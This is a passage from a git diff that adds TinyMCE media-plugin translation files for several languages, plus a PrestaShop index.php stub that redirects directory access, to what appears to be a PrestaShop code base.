voimakkuus",target:"Kohde",qtsrcchokespeed:"Choke-nopeus",href:"Href",endtime:"Lopetusaika",starttime:"Aloitusaika",enablejavascript:"Salli JavaScript",correction:"Ei korjausta",targetcache:"Kohteen v\u00e4limuisti",playeveryframe:"Toista jokainen ruutu",kioskmode:"Kioskitila",controller:"Ohjain",menu:"N\u00e4yt\u00e4 valikko",loop:"Silmukka",play:"Automaattinen toisto",hspace:"Vaakatason tila",vspace:"Pystytason tila","class_name":"Luokka",name:"Nimi",id:"Tunniste",type:"Tyyppi",size:"Mitat",preview:"Esikatselu","constrain_proportions":"S\u00e4ilyt\u00e4 mittasuhteet",controls:"Kontrollit",numloop:"Toistojen m\u00e4\u00e4r\u00e4",console:"Konsoli",cache:"V\u00e4limuisti",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flash-muuttujat",base:"Perusta",bgcolor:"Tausta",wmode:"WMode",salign:"SAlign",align:"Tasaus",scale:"Skaala",quality:"Laatu",shuffle:"Sekoita",prefetch:"Esinouda",nojava:"Ei Javaa",maintainaspect:"S\u00e4ilyt\u00e4 kuvasuhde",imagestatus:"Kuvan tila",center:"Keskit\u00e4",autogotourl:"Mene automaattisesti URL:iin","shockwave_options":"Shockwaven asetukset","rmp_options":"Real media playerin asetukset","wmp_options":"Windows media playerin asetukset","qt_options":"Quicktimen asetukset","flash_options":"Flashin asetukset",hidden:"Piilotettu","align_bottom_left":"Ala-vasemmalla","align_bottom_right":"Ala-oikealla",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Upotetun \u00e4\u00e4nen asetukset",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"video","html5_video_options":"HTML5 videoasetukset",altsource1:"Vaihtoehtoinen l\u00e4hde 1",altsource2:"Vaihtoehtoinen l\u00e4hde 2",preload:"Esilataa",poster:"Posteri",source:"L\u00e4hde","html5_audio_options":"\u00c4\u00e4niasetukset","preload_none":"\u00c4l\u00e4 esilataa","preload_metadata":"Esilataa videon metatiedot","preload_auto":"Anna k\u00e4ytt\u00e4j\u00e4n selaimen p\u00e4\u00e4tt\u00e4\u00e4",iframe:"iframe",embeddedaudio:"upotettu audio"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/fr_dlg.js b/js/tiny_mce/plugins/media/langs/fr_dlg.js new file mode 100755 index 0000000..90b0102 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/fr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fr.media_dlg',{list:"Liste",file:"Fichier / URL",advanced:"Avanc\u00e9",general:"G\u00e9n\u00e9ral",title:"Ins\u00e9rer / \u00e9diter un fichier m\u00e9dia","align_top_left":"En haut \u00e0 gauche","align_center":"Centr\u00e9","align_left":"Gauche","align_bottom":"Bas","align_right":"Droite","align_top":"Haut","qt_stream_warn":"Les ressources rtsp en streaming doivent \u00eatre ajout\u00e9es au champ \u00ab Source QT \u00bb dans l\'onglet avanc\u00e9.\nVous devriez aussi ajouter une version n\'\u00e9tant pas en streaming au champ \u00ab source QT \u00bb.",qtsrc:"Source QT",progress:"Progression",sound:"Son",swstretchvalign:"Stretch vertical",swstretchhalign:"Stretch horizontal",swstretchstyle:"Stretch style",scriptcallbacks:"Callback de script","align_top_right":"En haut \u00e0 droite",uimode:"Mode UI",rate:"Taux",playcount:"Compteur",defaultframe:"Image par d\u00e9faut",currentposition:"Position actuelle",currentmarker:"Marqueur actuel",captioningid:"ID sous-titrage",baseurl:"Adresse de base",balance:"Balance",windowlessvideo:"Vid\u00e9o sans fen\u00eatre",stretchtofit:"\u00c9tendre pour adapter la taille",mute:"Muet",invokeurls:"Invoquer URLs",fullscreen:"Plein \u00e9cran",enabled:"Activ\u00e9",autostart:"Lire automatiquement",volume:"Volume",target:"Cible",qtsrcchokespeed:"D\u00e9bit maximum",href:"Href",endtime:"Fin",starttime:"D\u00e9but",enablejavascript:"Activer le JavaScript",correction:"Pas de correction",targetcache:"Cache cible",playeveryframe:"Jouer toutes les images",kioskmode:"Mode kiosque",controller:"Contr\u00f4leur",menu:"Afficher le menu",loop:"Lire en boucle",play:"Lecture automatique",hspace:"Espacement horizontal",vspace:"Espacement vertical","class_name":"Classe",name:"Nom",id:"Id",type:"Type",size:"Dimensions",preview:"Pr\u00e9visualisation","constrain_proportions":"Conserver les proportions",controls:"Contr\u00f4les",numloop:"Nombre de tours",console:"Console",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Variables flash",base:"Base",bgcolor:"Fond",wmode:"WMode",salign:"SAlign",align:"Alignement",scale:"\u00c9chelle",quality:"Qualit\u00e9",shuffle:"Al\u00e9atoire",prefetch:"Pr\u00e9chargement",nojava:"Pas java",maintainaspect:"Maintenir l\'aspect",imagestatus:"Statut de l\'image",center:"Centrer",autogotourl:"Aller automatiquement \u00e0 l\'URL","shockwave_options":"Options Shockwave","rmp_options":"Options Real media player","wmp_options":"Windows media player options","qt_options":"Options Quicktime","flash_options":"Options Flash",hidden:"Cach\u00e9","align_bottom_left":"En bas \u00e0 gauche","align_bottom_right":"En bas \u00e0 droite",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Options audio int\u00e9gr\u00e9es",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"vid\u00e9o","html5_video_options":"Options Vid\u00e9o HTML 5",altsource1:"Source alternative 1",altsource2:"Source alternative 2",preload:"Pr\u00e9chargement",poster:"Poster",source:"Source","html5_audio_options":"Options audio","preload_none":"Ne pas pr\u00e9charger","preload_metadata":"Pr\u00e9charger les m\u00e9tadonn\u00e9es vid\u00e9o","preload_auto":"Laisser le fureteur de l\'utilisateur d\u00e9cider",iframe:"iframe",embeddedaudio:"embeddedaudio"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/gl_dlg.js b/js/tiny_mce/plugins/media/langs/gl_dlg.js new file mode 100755 index 0000000..c4848f3 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/gl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.media_dlg',{list:"Lista",file:"Arquivo/URL",advanced:"Avanzado",general:"Xeral",title:"Insertar/editar medio embebido","align_top_left":"Arriba Izda.","align_center":"Centrado","align_left":"Esquerda","align_bottom":"Abaixo","align_right":"Dereita","align_top":"Arriba","qt_stream_warn":"Os recursos rtsp de Streaming deber\u00edan engadirse no campo QT Src da pesta\u00f1a avanzada.\nAdem\u00e1is deber\u00eda engadir unha versi\u00f3n no Streaming no campo Src.",qtsrc:"QT Src",progress:"Progreso",sound:"Son",swstretchvalign:"Esturar ali\u00f1. V.",swstretchhalign:"Estirar ali\u00f1. H.",swstretchstyle:"Estilo estiramento",scriptcallbacks:"Script callbacks","align_top_right":"Arriba Dta.",uimode:"Modo UI",rate:"Relaci\u00f3n",playcount:"Cantas reproducci\u00f3ns",defaultframe:"Frame predet.",currentposition:"Posici\u00f3n actual",currentmarker:"Marcador actual",captioningid:"Id de lenda",baseurl:"URL Base",balance:"Balance",windowlessvideo:"Video sen vent\u00e1",stretchtofit:"Estirar pra axustar",mute:"Silencio",invokeurls:"Invocar URLs",fullscreen:"Pantalla Completa",enabled:"Habilitado",autostart:"Comezo Autom\u00e1tico",volume:"Volume",target:"Obxetivo",qtsrcchokespeed:"Vel. de choque",href:"Href",endtime:"Fin",starttime:"Inicio",enablejavascript:"Habilitar JavaScript",correction:"Sen correci\u00f3n",targetcache:"Obxetivo cache",playeveryframe:"Reproducir t\u00f3dolos frames",kioskmode:"Modo kiosco",controller:"Controller",menu:"Mostrar Men\u00fa",loop:"Repetitivo",play:"Comezo Autom\u00e1tico",hspace:"Espacio H.",vspace:"Espacio V.","class_name":"Clase",name:"Nome",id:"Id",type:"Tipo",size:"Tama\u00f1o",preview:"Vista Previa","constrain_proportions":"Bloquear proporci\u00f3ns",controls:"Controis",numloop:"N\u00fam. repetici\u00f3ns",console:"Consola",cache:"Cach\u00e9",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"Base",bgcolor:"Fondo",wmode:"WMode",salign:"SAlign",align:"Ali\u00f1aci\u00f3n",scale:"Escala",quality:"Calidade",shuffle:"Aleatorio",prefetch:"PreBusca",nojava:"No java",maintainaspect:"Manter aspecto",imagestatus:"Estado de imaxe",center:"Centrado",autogotourl:"Ir a URL autom\u00e1t.","shockwave_options":"Opci\u00f3ns Shockwave","rmp_options":"Opci\u00f3ns Real media player","wmp_options":"Opci\u00f3ns Windows media player","qt_options":"Opci\u00f3ns Quicktime","flash_options":"Opci\u00f3ns Flash",hidden:"Oculto","align_bottom_left":"Abaixo Izda.","align_bottom_right":"Abaixo Dta.","html5_video_options":"HTML5 Video Options",altsource1:"Alternative source 1",altsource2:"Alternative source 2",preload:"Preload",poster:"Poster",source:"Source","html5_audio_options":"Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/he_dlg.js b/js/tiny_mce/plugins/media/langs/he_dlg.js new file mode 100755 index 0000000..4bd0058 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/he_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('he.media_dlg',{list:"\u05e8\u05e9\u05d9\u05de\u05d4",file:"\u05db\u05ea\u05d5\u05d1\u05ea \u05d4\u05e7\u05d5\u05d1\u05e5",advanced:"\u05de\u05ea\u05e7\u05d3\u05dd",general:"\u05db\u05dc\u05dc\u05d9",title:"\u05d4\u05d5\u05e1\u05e4\u05ea/\u05e2\u05e8\u05d9\u05db\u05ea \u05e1\u05e8\u05d8\u05d5\u05df","align_top_left":"\u05e9\u05de\u05d0\u05dc \u05dc\u05de\u05e2\u05dc\u05d4","align_center":"\u05de\u05e8\u05db\u05d6","align_left":"\u05dc\u05e9\u05de\u05d0\u05dc","align_bottom":"\u05dc\u05de\u05d8\u05d4","align_right":"\u05d9\u05de\u05d9\u05df","align_top":"\u05dc\u05de\u05e2\u05dc\u05d4","qt_stream_warn":"Streamed rtsp resources should be added to the QT Src field under the advanced tab.\nYou should also add a non streamed version to the Src field..",qtsrc:"QT Src",progress:"\u05d4\u05ea\u05e7\u05d3\u05de\u05d5\u05ea",sound:"\u05e6\u05dc\u05d9\u05dc",swstretchvalign:"Stretch V-Align",swstretchhalign:"Stretch H-Align",swstretchstyle:"Stretch style",scriptcallbacks:"Script callbacks","align_top_right":"\u05d9\u05de\u05d9\u05df \u05dc\u05de\u05e2\u05dc\u05d4",uimode:"\u05de\u05e6\u05d1 \u05ea\u05e6\u05d5\u05d2\u05d4",rate:"\u05e7\u05e6\u05d1",playcount:"\u05de\u05e1\u05e4\u05e8 \u05d4\u05e9\u05de\u05e2\u05d5\u05ea",defaultframe:"\u05e4\u05e8\u05d9\u05d9\u05dd \u05d1\u05e8\u05d9\u05e8\u05ea \u05de\u05d7\u05d3\u05dc",currentposition:"\u05de\u05d9\u05e7\u05d5\u05dd \u05e0\u05d5\u05db\u05d7\u05d9",currentmarker:"\u05e1\u05de\u05df \u05e0\u05d5\u05db\u05d7\u05d9",captioningid:"Captioning id",baseurl:"Base URL",balance:"Balance",windowlessvideo:"Windowless video",stretchtofit:"\u05de\u05ea\u05d7 \u05dc\u05d4\u05ea\u05d0\u05de\u05d4",mute:"\u05d4\u05e9\u05ea\u05e7",invokeurls:"Invoke URLs",fullscreen:"\u05de\u05e1\u05da \u05de\u05dc\u05d0",enabled:"\u05de\u05d5\u05e4\u05e2\u05dc",autostart:"\u05d4\u05ea\u05d7\u05dc \u05d0\u05d5\u05d8\u05d5\u05de\u05d8\u05d9\u05ea",volume:"\u05e2\u05d5\u05e6\u05de\u05d4",target:"\u05de\u05d8\u05e8\u05d4",qtsrcchokespeed:"Choke speed",href:"Href",endtime:"\u05d6\u05de\u05df \u05e1\u05d9\u05d5\u05dd",starttime:"\u05d6\u05de\u05df \u05d4\u05ea\u05d7\u05dc\u05d4",enablejavascript:"\u05d0\u05e4\u05e9\u05e8 JavaScript",correction:"\u05dc\u05dc\u05d0 \u05ea\u05d9\u05e7\u05d5\u05df",targetcache:"Target cache",playeveryframe:"\u05e0\u05d2\u05df \u05db\u05dc \u05e4\u05e8\u05d9\u05d9\u05dd",kioskmode:"Kiosk mode",controller:"Controller",menu:"\u05d4\u05e6\u05d2\u05ea \u05ea\u05e4\u05e8\u05d9\u05d8",loop:"\u05e0\u05d2\u05d9\u05e0\u05d4 \u05de\u05d7\u05d6\u05d5\u05e8\u05d9\u05ea",play:"\u05e0\u05d2\u05d9\u05e0\u05d4 \u05d0\u05d5\u05d8\u05d5\u05de\u05d8\u05d9\u05ea \u05e2\u05dd \u05d4\u05d8\u05e2\u05d9\u05e0\u05d4",hspace:"\u05e8\u05d5\u05d5\u05d7 \u05d0\u05d5\u05e4\u05e7\u05d9",vspace:"\u05e8\u05d5\u05d5\u05d7 \u05d0\u05e0\u05db\u05d9","class_name":"\u05de\u05d7\u05dc\u05e7\u05d4",name:"\u05e9\u05dd",id:"Id",type:"\u05e1\u05d5\u05d2",size:"\u05e8\u05d5\u05d7\u05d1 \u05d5\u05d2\u05d5\u05d1\u05d4",preview:"\u05ea\u05e6\u05d5\u05d2\u05d4 \u05de\u05e7\u05d3\u05d9\u05de\u05d4","constrain_proportions":"\u05e9\u05de\u05d5\u05e8 \u05e2\u05dc \u05e4\u05e8\u05d5\u05e4\u05d5\u05e8\u05e6\u05d9\u05d5\u05ea",controls:"Controls",numloop:"Num loops",console:"Console",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"\u05de\u05e7\u05d5\u05e8",bgcolor:"\u05e6\u05d1\u05e2 \u05e8\u05e7\u05e2",wmode:"WMode",salign:"SAlign",align:"\u05d9\u05d9\u05e9\u05d5\u05e8",scale:"Scale",quality:"\u05d0\u05d9\u05db\u05d5\u05ea \u05d4\u05e1\u05e8\u05d8\u05d5\u05df",shuffle:"Shuffle",prefetch:"Prefetch",nojava:"No java",maintainaspect:"Maintain aspect",imagestatus:"Image status",center:"\u05de\u05e8\u05db\u05d6",autogotourl:"Auto goto URL","shockwave_options":"\u05d0\u05e4\u05e9\u05e8\u05d5\u05d9\u05d5\u05ea Shockwave","rmp_options":"\u05d0\u05e4\u05e9\u05e8\u05d5\u05d9\u05d5\u05ea \u05e0\u05d2\u05df Real Media","wmp_options":"\u05d0\u05e4\u05e9\u05e8\u05d5\u05d9\u05d5\u05ea \u05de\u05d3\u05d9\u05d4 \u05e4\u05dc\u05d9\u05d9\u05e8","qt_options":"\u05d0\u05e4\u05e9\u05e8\u05d5\u05d9\u05d5\u05ea Quicktime","flash_options":"\u05d0\u05e4\u05e9\u05e8\u05d5\u05d9\u05d5\u05ea \u05e4\u05dc\u05d0\u05e9",hidden:"Hidden","align_bottom_left":"\u05dc\u05de\u05d8\u05d4 \u05de\u05e9\u05de\u05d0\u05dc","align_bottom_right":"\u05dc\u05de\u05d8\u05d4 \u05de\u05d9\u05de\u05d9\u05df",flash:"Flash",quicktime:"quicktime","embedded_audio_options":"\u05d0\u05e4\u05e9\u05e8\u05d5\u05d9\u05d5\u05ea \u05d0\u05d5\u05d3\u05d9\u05d5 \u05de\u05e9\u05d5\u05dc\u05d1",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"video","html5_video_options":"\u05d0\u05e4\u05e9\u05e8\u05d5\u05d9\u05d5\u05ea \u05d5\u05d9\u05d3\u05d0\u05d5 HTML5",altsource1:"\u05de\u05e7\u05d5\u05e8 \u05d7\u05dc\u05d5\u05e4\u05d9 1",altsource2:"\u05de\u05e7\u05d5\u05e8 \u05d7\u05dc\u05d5\u05e4\u05d9 2",preload:"Preload",poster:"\u05e4\u05d5\u05e1\u05d8\u05e8",source:"\u05de\u05e7\u05d5\u05e8","html5_audio_options":"\u05d0\u05e4\u05e9\u05e8\u05d5\u05d9\u05d5\u05ea \u05d0\u05d5\u05d3\u05d9\u05d5","preload_none":"Don\'t Preload","preload_metadata":"\u05d8\u05e2\u05df \u05de\u05d8\u05d4-\u05d8\u05d0\u05d2 \u05dc\u05d5\u05d5\u05d9\u05d3\u05d0\u05d5","preload_auto":"\u05d0\u05ea\u05df \u05dc\u05d3\u05e4\u05d3\u05e4\u05df \u05dc\u05d1\u05d7\u05d5\u05e8",iframe:"iframe",embeddedaudio:"embeddedaudio "}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/hu_dlg.js b/js/tiny_mce/plugins/media/langs/hu_dlg.js new file mode 100755 index 0000000..cccb421 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/hu_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('hu.media_dlg',{list:"Lista",file:"F\u00e1jl/URL",advanced:"Halad\u00f3",general:"\u00c1ltal\u00e1nos",title:"Be\u00e1gyazott m\u00e9dia besz\u00far\u00e1sa/szerkeszt\u00e9se","align_top_left":"Bal-fent","align_center":"K\u00f6z\u00e9pen","align_left":"Balra","align_bottom":"Lent","align_right":"Jobbra","align_top":"Fent","qt_stream_warn":"Streamelt rtsp forr\u00e1sok a QT Src mez\u0151be val\u00f3k a halad\u00f3 lapon.\nHozz\u00e1 kellene adnia egy nem streamelt verzi\u00f3t a Src mez\u0151ben.",qtsrc:"QT Src",progress:"Folyamat",sound:"Hang",swstretchvalign:"Ny\u00fajt\u00e1s F-igaz\u00edt\u00e1s",swstretchhalign:"Ny\u00fajt\u00e1s V-igaz\u00edt\u00e1s",swstretchstyle:"Ny\u00fajt\u00e1s st\u00edlusa",scriptcallbacks:"Script callbacks","align_top_right":"Jobbra fent",uimode:"UI M\u00f3d",rate:"\u00c9rt\u00e9kel\u00e9s",playcount:"Lej\u00e1tsz\u00e1ssz\u00e1m",defaultframe:"Alap\u00e9rtelmezett frame",currentposition:"Aktu\u00e1lis poz\u00edci\u00f3",currentmarker:"Aktu\u00e1lis marker",captioningid:"Captioning id",baseurl:"Alap URL",balance:"Balance",windowlessvideo:"Ablak n\u00e9lk\u00fcli vide\u00f3",stretchtofit:"Ny\u00fajtva igaz\u00edt\u00e1s",mute:"N\u00e9ma",invokeurls:"URL-ek bevon\u00e1sa",fullscreen:"Teljes k\u00e9perny\u0151",enabled:"Enged\u00e9lyezve",autostart:"Automatikus kezd\u00e9s",volume:"Hanger\u0151",target:"C\u00e9l",qtsrcchokespeed:"Folyt\u00e1s sebess\u00e9ge",href:"Href",endtime:"Z\u00e1r\u00f3 id\u0151",starttime:"Kezd\u00e9si id\u0151",enablejavascript:"JavaScript enged\u00e9se",correction:"Nincs jav\u00edt\u00e1s",targetcache:"C\u00e9l cache",playeveryframe:"Minden kocka lej\u00e1tsz\u00e1sa",kioskmode:"Kiosk m\u00f3d",controller:"Vez\u00e9rl\u0151",menu:"Men\u00fc mutat\u00e1sa",loop:"Ism\u00e9tl\u00e9s",play:"Automatikus lej\u00e1tsz\u00e1s",hspace:"V-t\u00e1v",vspace:"F-t\u00e1v","class_name":"Oszt\u00e1ly",name:"N\u00e9v",id:"Id",type:"T\u00edpus",size:"M\u00e9retek",preview:"El\u0151n\u00e9zet","constrain_proportions":"Ar\u00e1nytart\u00e1s",controls:"Kezel\u0151k",numloop:"Ism\u00e9tl\u00e9ssz\u00e1m",console:"Console",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"Base",bgcolor:"H\u00e1tt\u00e9r",wmode:"WM\u00f3d",salign:"SElrendez\u00e9s",align:"Elrendez\u00e9s",scale:"Nagy\u00edt\u00e1s",quality:"Min\u0151s\u00e9g",shuffle:"V\u00e9letlenszer\u0171",prefetch:"El\u0151t\u00f6lt\u00e9s",nojava:"Nincs java",maintainaspect:"Ar\u00e1nytart\u00e1s",imagestatus:"K\u00e9p \u00e1llapot",center:"K\u00f6z\u00e9pre",autogotourl:"Automatikus URL-re ugr\u00e1s","shockwave_options":"Shockwave be\u00e1ll\u00edt\u00e1sai","rmp_options":"Real media player be\u00e1ll\u00edt\u00e1sai","wmp_options":"Windows media player be\u00e1ll\u00edt\u00e1sai","qt_options":"Quicktime be\u00e1ll\u00edt\u00e1sai","flash_options":"Flash be\u00e1ll\u00edt\u00e1sai",hidden:"Rejtett","align_bottom_left":"Bal-lent","align_bottom_right":"Bal-jobbra","embedded_audio_options":"Be\u00e1gyazott hang be\u00e1ll\u00edt\u00e1sok","html5_video_options":"HTML5 Video be\u00e1ll\u00edt\u00e1sok",altsource1:"Alternat\u00edv forr\u00e1s 1",altsource2:"Alternat\u00edv forr\u00e1s 2",preload:"El\u0151t\u00f6lt\u00e9s",poster:"Hozz\u00e1ad\u00f3",source:"Forr\u00e1s","html5_audio_options":"Audi\u00f3 be\u00e1ll\u00edt\u00e1sok","preload_none":"Nincs el\u0151reolvas\u00e1s","preload_metadata":"Vide\u00f3 metaadatok el\u0151reolvas\u00e1sa","preload_auto":"Hagyjuk a felhaszn\u00e1l\u00f3 b\u00f6ng\u00e9sz\u0151j\u00e9nek eld\u00f6nteni",flash:"",quicktime:"",windowsmedia:"",realmedia:"",shockwave:"",audio:"",video:"",iframe:"",embeddedaudio:""}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/id_dlg.js b/js/tiny_mce/plugins/media/langs/id_dlg.js new file mode 100755 index 0000000..3aab79b --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/id_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.media_dlg',{list:"List",file:"File/URL",advanced:"Advanced",general:"General",title:"Insert / edit embedded media","align_top_left":"Atas Kiri","align_center":"Tengah","align_left":"Kiri","align_bottom":"Bawah","align_right":"Kanan","align_top":"Atas","qt_stream_warn":"Streamed rtsp resources should be added to the QT Src field under the advanced tab.\nYou should also add a non streamed version to the Src field..",qtsrc:"QT Src",progress:"Progress",sound:"Sound",swstretchvalign:"Stretch V-Align",swstretchhalign:"Stretch H-Align",swstretchstyle:"Stretch style",scriptcallbacks:"Script callbacks","align_top_right":"Atas Kanan",uimode:"UI Mode",rate:"Rate",playcount:"Play count",defaultframe:"Default frame",currentposition:"Current position",currentmarker:"Current marker",captioningid:"Captioning id",baseurl:"Base URL",balance:"Balance",windowlessvideo:"Windowless video",stretchtofit:"Stretch to fit",mute:"Mute",invokeurls:"Invoke URLs",fullscreen:"Fullscreen",enabled:"Enabled",autostart:"Auto start",volume:"Volume",target:"Target",qtsrcchokespeed:"Choke speed",href:"Href",endtime:"End time",starttime:"Start time",enablejavascript:"Enable JavaScript",correction:"No correction",targetcache:"Target cache",playeveryframe:"Play every frame",kioskmode:"Kiosk mode",controller:"Controller",menu:"Show menu",loop:"Loop",play:"Auto play",hspace:"H-Space",vspace:"V-Space","class_name":"Class",name:"Name",id:"Id",type:"Type",size:"Dimensions",preview:"Preview","constrain_proportions":"Constrain proportions",controls:"Controls",numloop:"Num loops",console:"Console",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"Base",bgcolor:"Background",wmode:"WMode",salign:"SAlign",align:"Align",scale:"Scale",quality:"Quality",shuffle:"Shuffle",prefetch:"Prefetch",nojava:"No java",maintainaspect:"Maintain aspect",imagestatus:"Image status",center:"Center",autogotourl:"Auto goto URL","shockwave_options":"Shockwave options","rmp_options":"Real media player options","wmp_options":"Windows media player options","qt_options":"Quicktime options","flash_options":"Flash options",hidden:"Hidden","align_bottom_left":"Bawah Kiri","align_bottom_right":"Bawah kanan","html5_video_options":"HTML5 Video Options",altsource1:"Alternative source 1",altsource2:"Alternative source 2",preload:"Preload",poster:"Poster",source:"Source","html5_audio_options":"Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/index.php b/js/tiny_mce/plugins/media/langs/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/media/langs/it_dlg.js b/js/tiny_mce/plugins/media/langs/it_dlg.js new file mode 100755 index 0000000..f335ede --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/it_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.media_dlg',{list:"Lista",file:"File/URL",advanced:"Avanzate",general:"Generale",title:"Inserisci/modifica file multimediale","align_top_left":"Alto a sinistra","align_center":"Centro","align_left":"Sinistra","align_bottom":"Basso","align_right":"Destra","align_top":"Alto","qt_stream_warn":"Le risorse rstp \'streamed\' devono essere aggiunte al campo Sorgente QT nella tabella Avanzate.\nSi dovrebbe inserire anche una versione non \'streamed\' al campo Sorgente..",qtsrc:"Sorgente QT",progress:"Avanzamento",sound:"Suono",swstretchvalign:"Tratto V-Allineamento",swstretchhalign:"Tratto H-Allineamento",swstretchstyle:"Stile Tratto",scriptcallbacks:"Script richiamato","align_top_right":"Alto a destra",uimode:"Modalit\u00e0 Interfaccia Utente",rate:"Qualit\u00e0",playcount:"Conteggio esecuzione",defaultframe:"Frame predefinito",currentposition:"Posizione corrente",currentmarker:"Indicatore corrente",captioningid:"Didascalia dell\'Id",baseurl:"URL base",balance:"Bilanciamento",windowlessvideo:"Video senza finestra",stretchtofit:"Adatta dimensioni",mute:"Muto",invokeurls:"Invoca URLs",fullscreen:"Tutto schermo",enabled:"Abilitato",autostart:"Avvio automatico",volume:"Volume",target:"Target",qtsrcchokespeed:"Velocit\u00e0 cursore",href:"Href",endtime:"Ora fine",starttime:"Ora inizio",enablejavascript:"Abilita JavaScript",correction:"Nessuna Correzione",targetcache:"Cache del target",playeveryframe:"Esegui ogni frame",kioskmode:"Modalit\u00e0 Kiosk",controller:"Controller",menu:"Mostra menu",loop:"Riproduzione ciclica",play:"Esecuzione automatica",hspace:"H-Spazio",vspace:"V-Spazio","class_name":"Classe",name:"Nome",id:"Id",type:"Tipo",size:"Dimensioni",preview:"Anteprima","constrain_proportions":"Mantieni Proporzioni",controls:"Controlli",numloop:"Numero Cicli",console:"Console",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"Base",bgcolor:"Sfondo",wmode:"WMode",salign:"SAlign",align:"Allineamento",scale:"Scala",quality:"Qualit\u00e0",shuffle:"Shuffle",prefetch:"Precaricamento",nojava:"No java",maintainaspect:"Mantieni Aspetto",imagestatus:"Stato Immagine",center:"Centra",autogotourl:"Vai a URL automatico","shockwave_options":"Opzioni Shockwave","rmp_options":"Opzioni Real media player","wmp_options":"Opzioni Windows media player","qt_options":"Opzioni Quicktime","flash_options":"Opzioni Flash",hidden:"Nascosto","align_bottom_left":"Basso a Sinistra","align_bottom_right":"Basso a Destra",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Opzioni Audio Embedded",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"video","html5_video_options":"Opzioni Video HTML5",altsource1:"Sorgente alternativa 1",altsource2:"Sorgente alternativa 2",preload:"Precarica",poster:"Poster",source:"Sorgente","html5_audio_options":"Opzioni Audio","preload_none":"Non Precaricare","preload_metadata":"Precarica i metadati video","preload_auto":"Lascia decidere al browser dell\'utente",iframe:"iframe",embeddedaudio:"embeddedaudio"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/ja_dlg.js b/js/tiny_mce/plugins/media/langs/ja_dlg.js new file mode 100755 index 0000000..88ece81 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/ja_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.media_dlg',{list:"\u4e00\u89a7",file:"\u30d5\u30a1\u30a4\u30eb/URL",advanced:"\u9ad8\u5ea6",general:"\u4e00\u822c",title:"\u57cb\u3081\u8fbc\u307f\u30e1\u30c7\u30a3\u30a2\u306e\u633f\u5165/\u7de8\u96c6","align_top_left":"\u5de6\u4e0a","align_center":"\u4e2d\u592e","align_left":"\u5de6","align_bottom":"\u4e0b","align_right":"\u53f3","align_top":"\u4e0a","qt_stream_warn":"RTSP\u30b9\u30c8\u30ea\u30fc\u30df\u30f3\u30b0\u30ea\u30bd\u30fc\u30b9\u3092\u300c\u9ad8\u5ea6\u300d\u306e\u30bf\u30d6\u306e\u300cQT\u306e\u30bd\u30fc\u30b9\u300d\u6b04\u306b\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\u3002\n\u307e\u305f\u3001\u300c\u30bd\u30fc\u30b9\u300d\u6b04\u306b\u306f\u30b9\u30c8\u30ea\u30fc\u30df\u30f3\u30b0\u3067\u306f\u306a\u3044\u30d0\u30fc\u30b8\u30e7\u30fc\u30f3\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\u3002",qtsrc:"QT\u306e\u30bd\u30fc\u30b9",progress:"\u9032\u5c55",sound:"\u30b5\u30a6\u30f3\u30c9",swstretchvalign:"\u5782\u76f4\u306e\u914d\u7f6e",swstretchhalign:"\u6c34\u5e73\u306e\u914d\u7f6e",swstretchstyle:"\u4f38\u7e2e\u306e\u30b9\u30bf\u30a4\u30eb",scriptcallbacks:"\u30b9\u30af\u30ea\u30d7\u30c8\u306e\